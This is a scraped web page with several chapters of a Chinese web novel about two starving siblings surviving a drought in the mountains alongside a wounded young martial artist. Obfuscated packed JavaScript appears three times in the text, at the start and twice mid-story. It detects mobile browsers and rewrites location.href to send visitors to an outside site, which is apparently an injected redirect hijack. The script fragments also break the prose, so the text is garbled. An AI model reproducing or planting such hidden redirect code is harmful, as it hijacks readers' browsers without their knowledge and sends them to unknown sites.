;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479045|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地接受死亡。 可老天爷多半就喜欢捉弄人。 他们姐弟还是没死,除了掉下来时被光秃秃的树枝刮了些皮外伤之外,四肢都未受损。 只因这身下,又有垫背的,掉下来时,又得了这些树枝缓冲。 自不用多说,这没了一片叶子的树林,刚被他们掉下来时惊起的秃鹫,无不证明着早前这里也是一条逃难的路。 是路,路边自然有尸体。 杜月棠一时心情复杂不已,倒也没有那么恐惧了。 连忙扶起杜叙,“阿叙你怎样?”虽如此,一双眼睛却借着那薄薄的余光四处搜寻,就怕那逃兵和他们一样的好运气。 “阿姐,我没事。”劫后余生,杜叙心跳仍旧咚咚咚的,哪里还顾得上喊哥。 听着他声音虽惊慌,但并不虚弱,杜月棠方松了口气。 与此同时,也听得不远处传来的痛苦呻吟。 她快步走过去,只见果然是那逃兵,正欲找对方的刀,身后就传来杜叙惊喜的声音,“姐,咱们有刀了。” 杜月棠回过头,果然看到杜叙提着与他身高差不多的长刀,她则蹲到那逃兵跟前,伸手朝对方身上摸了几下,运气不错,竟然有一小包炒米。 至于那肉干,她不敢动。 将炒米收好,当即拉着杜叙,“可还能走?” “能。”杜叙这会儿其实不怕这满地横七八竖的尸体,而是怕那已经逐渐飞回来的秃鹫,它们那锋利的喙啄错了,朝着自己身上啄来。 前两天,他亲眼看到一只秃鹫,轻轻一啄,就从尸体上扯下一大块血肉。 杜月棠闻言,拉着他继续往前走,一面抓了一小撮炒米往他嘴里塞,自己也吃了些。 人到底是得吃粮食,这几十颗炒米,比过他们吃一天的草根,顿时那空荡荡的肚子里,只觉得多了一股暖意。 姐弟俩一夜未语,埋头赶路,等到天亮,第一缕晨光从远处光秃秃的山峰照过来时,杜月棠一个跄踉,终于是体力不支,倒在了地上。 其实比起透支的体力,更让她难以接受的是,她昨晚杀了孙大郎,这是一起相依为命十几天的人啊,如今对方的血还黏在她的脸上。 她抓起一把干燥的土,就往脸上搓,试图将那些血污都给清理干净,也顾不得满脸火辣辣的疼痛。 “呜呜呜……”终于,她还是没忍住,坐在地上抱头大哭起来。 只是自己也分不清楚,是哭这悲惨命运,还是哭自己杀了孙大郎。 纵使他先起的害人之心,可想起这突然间的反目,心脏彷佛是被利器刺击一般,是那样的疼,一种不同于先天性心脏病心律失常引起的隐痛。 原来,纵使是有一颗健康的心,也免不得会疼。 自打从青石县那府里逃出来,杜叙一直从未见过姐姐红过眼睛,如今却嚎啕大哭,不免是被吓到了。 跪倒在她身前,枯廋的小手轻轻地拍在她后背,“阿姐,别哭,咱们还活着呢!” 是啊,还活着!从青石县出来后,只吃过几天饱饭,然后认识孙大郎兄妹后,吃了十来天的野菜粥。 从一日两餐到一日一餐,再到三天两餐。 到最后,米没了,野菜也挖不倒了,又开始挖野菜根。 说起来,他们走在队伍后面,都是别人挑剩下的,要不是她前世是个农学生,未必敢什么都挖来往嘴里塞。 可即便如此,那草根也不能完全果腹,吃进肚子里,空荡荡的。 然就算是这样,也没饿死。 杜月棠也不得不感慨生命的顽强。 她擦了眼泪,没被泥土搓下去的血污如今也软和了,顿时她那袖子上一片血污。 她深深吸了口气,没再去管,一面朝着四周望过去。 毋庸置疑,视线所及之地,大片龟裂,山峦不见一片绿色,让人窒息的热气笼罩着浑身。 “走吧。”她吸了吸鼻子,爬起身来。 继续在这里待下去,只有死路一条。 只是路上尸体越来越少,并非是活下来的人多,而是这条路上,没有水源。 等杜月棠意识到的时候,已经晚了。 她的竹筒因装过肉汤,她无法接受再用来装水,早就给扔了。 现在杜叙的竹筒如今也见底了。 杜月棠站在原地,东张西望,踌躇半天,还是将目光落在那光秃秃的山上,“阿叙,要不我们山里去吧。” 5. 第 5 章 外围虽被逃难的路人扒秃了,但里面肯定还能找到吃的。 只是,那里有吃的谁不知?里头除了野菜还有野兽。 走了一天一夜的路,就靠着那一把炒米和两口水,杜叙已经两眼昏花,大脑也变得迟钝起来,半响才有气无力地回着,“听阿姐的。” “那我们去山里,运气好也许不会那么快就被野兽吃了,但顺着这条路走下去,可能活不过两天。”这么热的天,中午的时候温度又离奇的高,高温缺水,死就是眨眼间的事。 但要是运气好,找到一处阴凉的山洞,最起码就有一半活下来的机率。 可是山也不是那么好爬的,杜月棠拄着那长刀走在前面开路,杜叙手脚并用跟在她身后。 一个早上,他们才翻过在路上看到的那山坡。 实在是走不动了,姐弟俩找了一处干枯的灌木丛钻进去躺着。 这要是前世,这样炎热的天气,她哪里敢在茂盛的草木边上?就怕有蛇。 然现在,杜月棠竟然期盼着有蛇。 可见这人饿起来了,胆子都变大了,难怪这灾荒闹起来,什么人都有,便是如今的她,无形中又变了。 再睁眼,是被饿醒的,强烈的饥饿感让人呕吐不止,可是吐了半响,除了越发头晕恶心之外,什么都没吐出来。 天此时已经黑了,星星很亮,身在山上的他们,彷佛一抬手就能碰到。 杜叙不知什么时候醒来的,两眼无神地望着天上的星星,长久的缺水,幼童圆润的声音从喉咙里穿过,已变得沙哑粗粝,“阿姐,咱们是不是要死了?” “不会的,人家说大难不死必有后福,我们肯定能活。”可是这话,其实杜月棠自己也不信的。 只是如今到底需要些安慰,既安慰杜叙,也安慰自己。 爬起身来,她提着长刀精挑细选,给杜叙砍了一根合适的手杖,姐弟俩继续往前面的山去。 也许,翻过前面这坐山,里头就能看到些绿色了。 望梅止渴是有用的,靠着这份许下的希望,他们翻过了这座山,只是又一夜,从逃兵身上翻来的炒米所剩无几了。 就着用刀刨开的树根,寡淡的味道因为有丝丝的水汽,入口竟然让人恢复了些许的体力。 所以当晨光再一次照到身上的时候,终于能看到丝丝绿色了。 可是绿色,也代表着里面有野兽。 只是横竖都是死,两人分明不愿意被饿死,所以都自动忽略掉那林子里带来的危险。 “阿姐,有树了。”快秋天了,也许树林里还会有野果子,只要想到这个可能,杜叙觉得自己血痂血泡反复横生的双腿,又有力气了。 果然,绿色就是希望,看到这一抹绿色,杜月棠何尝不开心,“咱们歇半天,下午启程。” 那座山,虽近在眼前,可他们只怕仍旧得走上一天。 其实长久不下雨,日日烈阳当空,纵使这里没有人烟涉及,但矮些的灌木早就被动物啃完了,那些高大的树冠,也萎靡不振,处处透着一股颓废死寂。 往年泉水叮咚响的溪流,如今已是尘土飞扬,除去了刺鼻的鱼腥味,还有专程翻山越岭赶来喝水,活活渴死在路边的动物。 大抵是秃鹫都被难民们的尸体吸引了,所以这山里腐烂的动物只声息苍蝇蛆虫覆在周围。 此情此景,杜月棠心凉半截,可她不敢说任何丧气话。 继续往里走,直至看到一堆又一堆的野鸡毛和细碎的骨架,才不得不承认,这山里的生机并没有自己想到那样多。 渴死的野鸡,顷刻间就被鼠虫吞噬干净,只剩下一堆羽毛和骨架。 杜叙担忧地看着忽然泄气的姐姐,“阿姐你不是说,外面那么多尸体没人掩埋,最容易发生疫病么?咱们在山里正好,没其他人,真有疫病,也不会传染我们的。” 被安慰到了,杜月棠盯着一脸认真看着自己的弟弟,“你说的对。”一面挣扎着起身,“咱们继续往里走。” 虽然渴死的小动物不少,但越是往里走,能挖到的各种草根,能吃的树叶就越多。 现在她身上,还挂着一捆白茅根。 又这样走了两天,这边的树木虽也有不少干枯的,但比起外围好了许多,渴死的动物尸体也越来越少,杜月棠又重新充满了希望。 最令人激动的是,他们居然找到了一处小山洞,虽然不算宽敞,但胜在凉爽,而且晚上也不用特意爬到树上去睡觉了。 树上虽能防野兽,却无法防御蛇虫。 虽然用自己搓的构皮绳绑在树桠上,不用担心掉下来,可那和睡在剑上也没什么区别。 现在有小山洞可以栖身,柴火又足够,晚上往山洞外面点上一堆柴火,就能放心休息。 最重要的是山洞的背面,虽然需要走上一个时辰,但那里有一处还没干涸的泉眼。 不乏动物来喝水,要是能做个陷阱,也许能抓到些小型动物。 可惜了,她是农学生,前世心脏又不好,所以从未接触过这些。 杜叙就更不用说了,五岁的小豆丁,逃难之前,一直都被关在那小小的一方天地里,别说是制作陷阱了,就是字也不认得几个。 不过这个地方不错,有水源,一个时辰能接受,不用正面接触来喝水的猛兽,算得上是安全。 只是要吃些亏,得中午最热的时候去打水,这样才能避开早晚来喝水的野兽们。 但比起中午去打水,好过与它们正面对上。 不然要是运气不好,遇着个吃人的野兽,那他们姐弟这小身板,几乎没有什么生路可言。 而且这四处的山坳里,背阴的地方,居然能找到些野菜,这可远比草根树皮要香太多了。 姐弟两个也是如同打了鸡血一般,甚至弄了些干草铺在山洞里。 将近一个月,终于能睡一个好觉了。 所以即便肚子里仍旧空荡荡的,但第二天起来,杜月棠仍旧觉得还不错,与杜叙继续巡逻四周的环境。 也不知是不是山里的缘故,有时候居然能吹到一丝久违的凉爽风。 “姐,这里有好多你说艾草。”杜叙彷佛发现了宝贝一般,只是已经被晒干了,他不确定是不是。 杜月棠闻声过来,满脸惊喜,“晚上咱们往火塘里扔一下,也不用担心蚊虫了。”还有脚上的伤也能赶紧处理了,她刚在一处灌木下发现好些还没彻底被晒干的紫花地丁。 艾草与紫花地丁既能敷脚伤,也是难得的野菜。 只可惜两人如今除了能生火,连一口锅都没有。 砍了些干艾草,又挖了一大把紫花地丁,姐弟俩准备去泉眼打水。 眼看快到午时,虽然这个时候鸟兽几乎都躲去阴凉处歇着,但杜月棠依旧持刀戒备,步步小心。 原本一个时辰的路,这会儿才走了一半多,比她预想慢了不少,照着这样下去,等他们到时,那泉眼附近,怕是不安全了。 忽然,她鼻尖一动,一股新鲜浓重的血腥味,顺着热风扑面而来。 “阿叙,快上树!” 她惊喝一声,顾不得脚底的伤,身形已飞快奔向一旁大树。 杜叙虽不明所以,却十分听话,手脚并用地往上爬。才爬半截,他便看见前方林子里,好似躺着个人,当即慌了:“阿姐,有人!” 一听有人,杜月棠脚下生风,“嗖” 地一下蹿上树。 本是想躲在高处观望,以防对方不怀好意,也好有个缓冲。 可等她看清树下那人,心也跟着一沉。 身形瞧着与他们相差无几,也是个孩子,一动不动,像是已经没了气。 她不敢大意,抬手摘下一颗干松果,远远扔了过去。 半晌,地上依旧毫无动静。 “莫不是死了?” 杜叙心肠软,小声道:“姐,咱们下去看看吧?” “再等等。” 杜月棠不敢放松。 又等了片刻,确认四周没有埋伏,那人也确实毫无反应,她才持刀落地,慢慢靠近。 果然是个孩子,年纪看着与自己 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救,这人醒来说不定第一时间就杀了他们姐弟,毕竟那天晚上他露出的杀意不假。 而且他连狼都能杀,对付他们两个,简直易如反掌。 可不救…… 这人明显有身手,若能暂时结盟,往后打猎、遇上凶徒流民,都多一分依仗。 前提是,他能放下杀心。 “阿姐,咱们不管他吗?” 杜叙见姐姐站着不动,眉头紧锁。 “这种睚眦必报的人,能救吗?” 杜月棠实在不想冒险,人心隔肚皮,乱世之中最不值钱的就是心软,何况还有孙大郎那个先例。 就孙大郎那样的,无仇无怨的,都能为了活下去将他们姐弟俩舍弃,更何况这人本来就和他们有仇。 再说真要救,就得把人拖回山洞。青石县城平坦大路,她当初都拖得那么费劲,更何况这深山老林,树根藤蔓遍地。 而且血腥味一旦散开,引来狼群,他们姐弟俩都得死。 想到这儿,杜月棠觉得自己刚才那番纠结纯属多余 ,她根本没本事救人。 她刚要喊杜叙离开,脚踝突然被一只手狠狠扣住。 汗毛瞬间竖遍全身,她几乎要挥刀砍下,却见地上的人已经睁开眼,一双眸子冷利如刀,正死死盯着她。 “扶我起来。” 秦霄喘着气,另一只手飞快在肩头几处穴位一点。 杜月棠看得一怔,这是…… 点穴封脉? “你先放开我。” “救我,不然我杀了你。” 秦霄非但没松,力道反而更紧,语气狠戾。 很显然,这身上的伤并不致命,不然他哪里还有这精神威胁自己?但想到孙大郎,杜月棠也是狠下心,提起刀就要朝他抓住自己的手剁去。 乱世之中,心软一次,就是万劫不复。 秦霄双目骤睁,没料到这死丫头真敢下手,急忙松手,不顾胸前伤口撕裂般疼,翻身滚开。 杜月棠见他还能闪避,心知再拖片刻,等他缓过劲来,死的就是他们姐弟。 “阿叙,跑!” 逃命这事,杜叙早已熟练,拔腿就冲,小小的身影反倒跑在了前头。 秦霄伤势虽不致命,可失血过多,又与狼殊死搏斗,体力早已透支。 眼看姐弟俩真要跑远,他心里又急又憋屈。 眼下见这姐弟俩真跑了,自己要是一直躺这里,万一这头狼不是孤狼,那自己必然是死路一条,咬了咬牙,纵使是觉得憋屈无比,明明是他们先砸晕自己的。 耽误了自己去杀那妖女不说,他们砸伤自己是事实。 难不成还不许自己报仇? 情急之下,他咬牙开口:“我知道前面山里,有一处猎舍。” 已经跑出一截的杜月棠猛地顿住脚步,回头狐疑地看向他:“当真?” “我发誓。” 秦霄捂着胸口,艰难抬手,以示诚意。 6. 第 6 章 杜月棠一把将秦霄甩在旁边枯草上,看着眼前只剩半片屋顶、梁塌壁残的破棚子,又气又错愕。 “这就是你说的猎舍?” 秦霄被甩得一踉跄,跌坐在地,全然不顾身后杜叙举着大刀虎视眈眈,疼得皱眉,却依旧嘴硬,“你就说是不是猎舍吧。” 他又没说过是完好的。 一路过来,杜月棠在前面扶着他,手里始终攥着他的匕首,只要他稍有异动,便会毫不犹豫刺下去。 杜叙则扛着那把几乎与他等高的长刀,亦步亦趋跟在后头,随时准备劈下来。 姐弟俩这般小心,实在是因为秦霄当初在马老大那里时,是真起过杀心。 若不是被 “猎舍” 二字打动,杜月棠绝不肯冒这个险。 毕竟他们现在身无长物,此前不是没路过村庄,可但凡能用不是被人带走,就是打杂坏了,现在身上唯一的财产就是一个装水的竹筒,以及从那逃兵手里得来的大刀。 可眼前这破棚子,一看就荒废了七八年不止。 就算真有什么,只怕也是腐朽不堪用。 “姐?” 杜叙也觉得被耍了,只等姐姐一声令下,便要砍人。 杜月棠没马上回他,而是径直走进这片残垣断壁,在废墟里翻找,指望能翻出锅碗瓢盆。 一边找,一边冷声道:“老实待着,还是想选个死法?” 秦霄浑不在意地盘腿坐下,撕下一截衣袖,草草包扎伤口,反而笑了:“真是风水轮流转,这话,前几晚我才对你们姐弟说过。” 杜月棠没接话,脚下忽然踩到硬物。 她蹲下身,拨开泥土草灰,一只瓦罐露了出来。 心头一喜,有了这东西,就能架火煮东西了。 找到瓦罐,她更有劲头,继续在废墟里扒拉。 杜叙见姐姐弄得满头灰,灵机一动,掏出腰间的构皮绳,就要去绑秦霄。 秦霄正好包扎完毕,竟十分配合地抬起手,甚至还慢悠悠问:“会打结吗?” 杜叙被气得瞪眼,狠狠给他捆了个死结,又凶巴巴撂下几句狠话,才跑向杜月棠。 “姐,我觉得他脑子是不是有点问题,是不是那天晚上被咱们砸坏了?” 不然怎么被绑都不挣扎? 他看府里犯错的下人和那些庶兄弟姐妹们,早又哭又求了。 杜叙年纪小,心底纯善,这么一想,竟隐隐有些愧疚。 杜月棠又翻出两个小陶罐,口上封着蜂蜡,不知装着什么。 但不管是什么,罐子总能派上用场,等着洗干净了,装水盛汤都行。 听见弟弟的话,她指了指那两只小罐,“正好,一会儿让他打开。” 万一里面是猎户藏的毒物,正好让他试险。 杜叙点头,“咱们得快点回山洞,等天再阴一点,野兽就都出来了。” “嗯。” 杜月棠手里又摸到一件东西,像是一张弓。 常年埋在废墟里,麻弦早已朽坏,可弓身尚在,修一修还能用。 她当即收好。 姐弟俩又翻找一阵,能用的东西不多,一只大瓦罐、两只密封小罐、一把断弦的旧弓,还有一张发霉的兽皮。 也不知是什么皮子,但洗洗晒晒,铺在山洞里隔潮,可比枯草强太多。 收拾妥当,回头见秦霄还盘腿坐在那儿闭目养神,一副老神在在的模样,杜月棠越看越不顺眼,“喂,还有气没?” 秦霄眼皮都没抬,“还没死。小爷有名有姓,秦霄,江湖人称小秦爷,别一口一个喂。” 他三岁入乌云台习武,已有六年的内功底子,此刻没有伤药,便运内力自行护身。 杜叙缩到杜月棠身旁,依旧戒备,“姐,咱们还带着他吗?” 他其实是想带上秦霄的。就算这人像孙大郎一样危险,可有他在,阿姐也能轻松一些。 说到底,都怪自己太小了。 杜月棠心里也纠结。 这人一看就不是善茬,桀骜得很,还劳什子的小秦爷,一口一个老子,年纪不大,架子倒不小,看着还没自己高,搞不好比自己还小。 而且她是从和平年代穿来的,根深蒂固的 “尊老爱幼”,让她实在狠不下心丢下一个孩子,瞧着对方这年纪,约莫才上一年级呢。 可那晚他要杀他们姐弟的模样,她又忘不掉。 正犹豫着,闭目养神的秦霄忽然不耐烦,猛地站起身。 想来是察觉到姐弟俩可能要过河拆桥,所以恼怒了。 “咔嚓” 一声,杜叙绑的绳子被他轻易挣断。 他眼神里的鄙视毫不掩饰,“老子就算受了伤,杀你们也易如反掌。走,你们不是说有山洞吗?” 杜叙目瞪口呆,半天没回过神。 直到秦霄大摇大摆从他面前走过,才慌忙举刀戒备。 杜月棠也握紧了匕首,对他这恢复力深感震惊。 不料秦霄忽然毫无征兆地转身,像是早已料到他们的反应。 他随手一抽,便将杜月棠手里的匕首拿了回去,“这是小爷的东西。那头狼应该是孤狼,这么久没动静,一会儿回去把狼拖回去,烤狼肉吃。” 说完走了两步,见姐弟俩没跟上,回头催促,“走啊,还等小爷请你们?” 一瞬间,主动变被动,杜月棠心里憋屈得慌。 但至少能确定,秦霄暂时不会对他们下手,眼下是安全的。 可看着他那副吊儿郎当、拽得二五八万的样子,她还是胸闷得厉害。 这特么分明就是个古代版小黄毛,还有些喜怒无常。 神经病,看来和阿叙说的一样,多半那天晚上被自己和阿叙砸伤了脑袋。 他们运气还算不错,那狼还在原地。 虽说瘦得只剩一把骨头,可好歹也有五十来斤,比杜月棠自己都重。要不是有阿叙在一旁搭手,凭她一个人,根本不可能把狼尸拖回山洞。 杜月棠也反应过来了,这秦霄没对他们动手,不过是把他们姐弟俩当成跑腿的奴仆使唤罢了。 所以即便这人留了他们一命,她心里也半分感激都生不出来。 她这点不满,秦霄看得一清二楚。 一进山洞,他就自来熟地往枯草上一坐,理所当然地开口,“搞清楚,今晚你们姐弟能吃到肉,都是小爷我的功劳,让你们搬狼尸怎么了?何况老子也没闲着,不是在后面处理血腥味嘛。” 虽然确认了这是一头孤狼,但鬼知道这山里还有没有豺狼虎豹,要是闻着血腥味来,别说是这姐弟俩,就是自己现在这身体状态,也难以躲过一劫。 好在这乌云台这些年不是白待的,大炎皇朝也的确下了本钱培养他们。 他目光一转,落在一旁采回来的紫花地丁上,下巴一扬,理所应当地使唤着:“去,给小爷捣点敷伤口。” 杜月棠瞥了眼这位大爷似的人物,暗地里狠狠翻了个白眼,示意阿叙去做 。 毕竟这是个轻巧活计。 至于自己把狼处理一下,正发愁如何开膛破肚,那秦霄又对着她抬了抬下巴。 杜月棠心里咯噔一下,一时猜不透他又想使唤自己做什么。 不由得左右看了看,带回来的兽皮、瓦罐都还没洗,水也早就用光了。 难不成,是想让她这时候去打水? 现在已经是黄昏了,泉眼边上正是野兽成群喝水的时候,现在出去,跟送死有什么区别? 她正忐忑,秦霄已经不耐烦:“傻站着干什么?一点眼力见没有。把狼拖过来啊,难不成你还会剥皮不是?” 杜月棠咬了咬牙,心里暗骂。 说话就说话,非要抬下巴装模作样,谁猜得到你想干什么。 有嘴不使,做摆设用的么? 再不情愿,她还是咬牙用力,把狼尸一点点拖到他面前。 平心而论,秦霄这人嘴又臭、人又讨厌,可本事是真的硬。 那把匕首,在她手里跟个摆设差不多,到了秦霄手上,却如同活过来一般。不过片刻功夫,一张完整的狼皮就被完整剥下,皮面干干净净,半点儿多余的血肉脂肪都没留,十分光洁。 杜叙看得眼睛都直了,满眼都是羡慕,捧着捣好的紫花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚要动,秦霄又在后面开口:“不腌点盐,这么多肉放一夜就臭了。” 杜月棠脚步一顿,差点气笑。 她倒是想腌,可盐在哪儿? 他们已经整整十几天没见过一粒盐巴了。 下一刻,秦霄忽然嗤笑出声,那笑声里的嘲讽毫不掩饰。 杜月棠皱眉,“你笑什么?” “你该不会不知道,那两个小罐里装的就是盐吧?” 秦霄指了指她从破猎舍里带回来的密封陶罐,“猎户进山,怕盐受潮,都会封好藏起来。” 杜月棠一怔。 她是真不知道。 她就是农学生,没毕业的那种,让她种地还行,这些山野生存的门道,却是一窍不通。 可一听是盐,她整个人都精神了,连秦霄那嘲讽的笑,都觉得没那刺耳。 她慌忙打开其中一只罐子,泛黄的盐块赫然在目。 “真的是盐!” 她之前还暗戳戳想哄秦霄打开,万一是毒药正好让他试,毒死他正好。 此刻却捧着罐子,喜不自胜地往外跑:“阿叙,有盐了!我们有盐了!” 五岁的杜叙正蹲在火塘边,烤着今晚要吃的狼肉。天本就热,靠近火堆更是满头大汗,小脸蛋通红。 可一听见 “盐” 字,眼睛瞬间就湿了,差点哭出来。 “阿姐 ,我们不但有肉吃,还有盐巴……你说得对,大难不死,必有后福,我们真的要享福了……” 山洞里,秦霄虽虽受了伤,但到底是习武之人,自是比旁人耳目清明,将姐弟俩的对话听得一清二楚。 他想起那日在县衙后院墙下,被这两人砸晕,很显然他们是杜狗官的家眷。 此前也听人说起,青石县这位杜狗官,庶出儿女竟有上百之多,偏他又十分轻贱这些庶出的,所以那些庶出的日子过得甚至不如嫡出跟前的奴仆。 这话虽夸张,皇帝老儿都没这么多子嗣,可无风不起浪,几十个肯定是有的。 再看眼前这姐弟俩,面黄肌瘦,一看就是从小被磋磨长大的。 想来,正是那杜狗官不值钱的庶出子女。 所以即便知道他们和那妖女同父异母,可想到他们也是可怜人,那日也非有意砸晕自己,而且砸晕自己后,还立即送医了。 心想算了,都不容易。 果然,即便是重生,然他前世左不过才活了十三年,还是孩子心智,亦有几分善良。 7. 第 7 章 杜月棠并不知道,他们姐弟俩的生死安危暂时解除了,只高兴地取出一块盐,用石头细细碾碎,小心翼翼地刮下来,均匀撒在肉面,半点不敢浪费。 盐粒撒上,那已经烤得半熟的狼肉冒着香气滋滋响。 杜叙下意识地吞了口唾液,眼睛直勾勾地盯着手里的肉,“阿姐,好香。”比那天晚上在马老大他们那里闻到的都要香。 只是想到此,不免是想起那孙大郎兄妹,小脸上不禁闪过一丝愁绪。 不过还没等得他有闲时伤春悲秋,山洞里就传来秦霄催促的声音,“还没好么?” 这爷忒难伺候了些,但想到今天有肉又有盐,全是他的功劳,杜叙也没说什么,更何况亲眼看到他剥皮解肉,其实已对他佩服不已。 “马上好了。”他往山洞里回复了一声,赶紧翻烤手里的肉,给他送进去。 杜月棠继续碾盐,把肉都给腌过,挂在火塘边的架子上,这才拿着那大刀去刨坑,将那内脏都给埋了。 等她忙活好,杜叙这里已经烤好了姐弟俩的晚饭。 只是也不敢吃太多,生怕肠胃受不住,就着那紫花地丁一起吃,就好似生菜包五花肉的吃法。 不过是这肉和这紫花地丁都没洗过。 但现在能有口吃的,还讲究什么?何况这一路颠沛流离走来,不干不净直接入口的不要太多,这肠胃还是挺皮实的。 姐弟俩吃完,将山洞四周围了一圈柴火堆,加上方才烤肉的火塘,那些腌制好的狼肉正好夹在中间,如此能更快熏烤不说,那外围的火还能抵御动物侵扰。 布置妥当,姐弟俩也进山洞休息,可惜最好的休息位置已经被那秦霄所占领,姐弟俩只能靠边躺在那薄薄的一层干草上。 不过纵是如此,想是因为今日终于吃到了盐和肉,又不用为明天的口粮发愁,所以睡得特别好。 翌日起来,杜月棠先去附近挖些能吃的野菜树根,等到中午的时候姐弟便带着那陶罐和旧皮子去水源边上。 没想到那秦霄竟然跟来了,路上剥了不少桦树皮,还挖了不少松脂,待到泉眼边,就直接让杜叙烧火,将桦树皮扔陶罐里煮起来。 一开始杜月棠还不知他这是什么意思,直至见他将煮得柔软了些的桦树皮卷成桶状,又用构皮绳子绑了又绑,底部塞上几层树叶,又用松脂在内侧涂抹均匀。 几个简易的桦树皮小水桶竟然就做好了。 五岁的杜叙本在秦霄剥皮解肉后,心里就有些佩服的,现在看到他凭空用几张桦树皮做成水桶,更是佩服得五体投地,“小秦爷,你好厉害。” 秦霄那俊俏的小脸上,笑得一脸得意,“那是,你以为这一声小秦爷是你白叫的么?”随后丢给泉眼边的杜月棠,“今天下午,再多剥些桦树皮,我看这泉眼过几日没准也要干涸了。” 得多做些准备。 是了,今天这泉眼里的水没他们头一次来的时候多了,干涸也就是这几日的事情。 杜月棠难得没反驳他,蹲在小小的泉眼边一点点将水桶装满,递了上来。 没留意到自己这无形中,其实已对秦霄已经有所改观。 他虽嘴巴恶毒性格跋扈了些,但奈何是真有本事。 最起码才跟他混了半天,肉吃上了盐也有了,现在连水桶都有了。 多储蓄些水,到时候就能放心挖野菜,至于肉,紧细着些,那狼肉够吃好一阵子了。 秦霄见她没反驳,十分满意这态度,但还是管不住自己的嘴,“算你们姐弟两个识相,好好听老子的话,少不了你们的好处。” 他这伤虽不要命,但也让秦霄意识到,现在的自己是九岁,不是十三岁的自己,想去报仇恐怕不行,更何况现在也没了那妖女的消息。 还不如先顾着眼前,在这山里养一养伤,把这旱灾度过了再说。 而杜月棠则觉得,这秦霄说话虽不中听,而且还有可能杀他们姐弟俩,但目前为止,跟着他的确是能吃饱喝足,所以在他伤势恢复期间,他们姐弟俩都是安全的。 倒不如趁着现在顺从些,降低他的防备,偷偷储存些肉干和水,回头逃跑也有保障。 至于年幼的杜叙,可没想那么多,而且又是个善良孩子,此刻还在绞尽脑汁想,如何与秦霄改善关系,怎么能将此前的恩怨一笔勾销。 三个小孩子三个心思,但不妨碍他们三人合作,很快六个桦树桶都装满了,陶罐也洗干净装满了水,待杜月棠将皮子清洗过后,三人便原路返回。 运气还是不错的,这回去的路上,遇到了过来喝水的野鹿。 试想连狼秦霄都能对付,更别说是野鹿了。 只见秦霄以迅雷不及掩耳之势,直接将那匕首扔出,很快就听到了一声沉闷响声。 秦霄将水递给杜月棠,走过去很快就将野鹿给拖了过来。 只加这野鹿浑身上下,就脖子那里有个口子,很显然刚才秦霄那一掷,匕首稳准狠直接插在了野鹿的脖子上。 如此,杜叙看他的眼神更为灼热了,“小秦爷你太厉害了!” 这么远,居然扔中就不说了,还刚好将匕首瞄准了野鹿的脖子,一击毙命。 秦霄满脸得意,果然还是个孩子,听着杜叙充满崇拜羡慕的语气,很是享受。 只不过见杜月棠没言语,到底是有些不满,“你难道不觉得小爷我很厉害么?” 虽然他很厉害,这是毋庸置疑的,可是本来他们几个人带六桶水,还有一个陶罐,就已经很费劲了。 现在这野鹿虽然也瘦,但几十斤是有的。 因此也不是杜月棠有意泼冷水,“你还是先想想,怎么拿回去吧。”有鹿肉,她也很高兴。 “这有何难?”秦霄不以为然,随即去剥了些野生的构树皮来,给水桶上做了提手,又砍了一根树杆来,就递给杜月棠,“你劳累些挑回去,鹿交给我。” 杜月棠嘴角直抽,这货既然能将这水桶做提手,为何早不这样干?让他们费劲地抱在怀里,视线都被挡去了大半。 害得她这一路上,好几次都担心被脚下树根杂草绊倒,神经绑得紧紧的。 但不管如何,总算是解决了。 只不过杜月棠和秦霄辛苦些,杜叙最小,还是仍旧负责他那两个水桶。 三人一路走走停停,终于是回到了山洞。 那秦霄也顾不上其他,忙给鹿剥皮抽筋。 是了,正好从破败猎舍那里得了一张弓,正愁着没好弦,现在有了这鹿筋,自是迫不及待地想将弓修复好。 当日下午,杜月棠带着杜叙就在附近剥桦树皮。 其实也是地理环境所致,如若此处有竹林,完全可以用竹子做现成的小水桶,哪里需要这样复杂。 可这一片山上,即便有竹,也尽是些最粗不过刀柄粗细的冷竹。往年这时节本该冒八月笋,可今年天干地旱,别说笋,连活竹都枯死大半,剩下苟延残喘的,竟直接开了花。 竹子一开花,便是死期到了。 而结出来的竹米,正是老鼠最上等的食粮。寻常一对老鼠一年便能繁衍出两千只,一旦遇上竹米铺地,食物充足,那数目更是要疯涨数倍。 故而山里才有老话:竹枯鼠旺,粮绝瘟生。 所以即便那竹米他们能做粮食,杜月棠他们想吃也望尘莫及。 一来他们三个孩子,纵使是有秦霄这个会功夫的在,但收集起来也艰难,根本抢不过老鼠。 更别说他们没有工具能脱粒。 不如一把火烧干净,免得养肥了鼠群,最后引来鼠灾瘟疫。 只是山火难控,谁也不敢轻易冒险。 更何况,现在要忙着挖野菜,不然就照着这天干的速度,那些还藏于树下林间的野菜,只怕也要被活活晒死了。 因此这些天里,他们三谁也没闲着。 前两天都在做桦树桶储存水,而且不同于那天临时做的那几只,这些明显更为牢固,而且还有了盖子。 紧接着杜月棠便带着杜叙在四周挖野菜。 因为水源的紧缺,他们甚至连将这些野草焯水再晒的条件都没有,都是直接铺在草地上晒干,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479048|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后储存进桦树桶里。 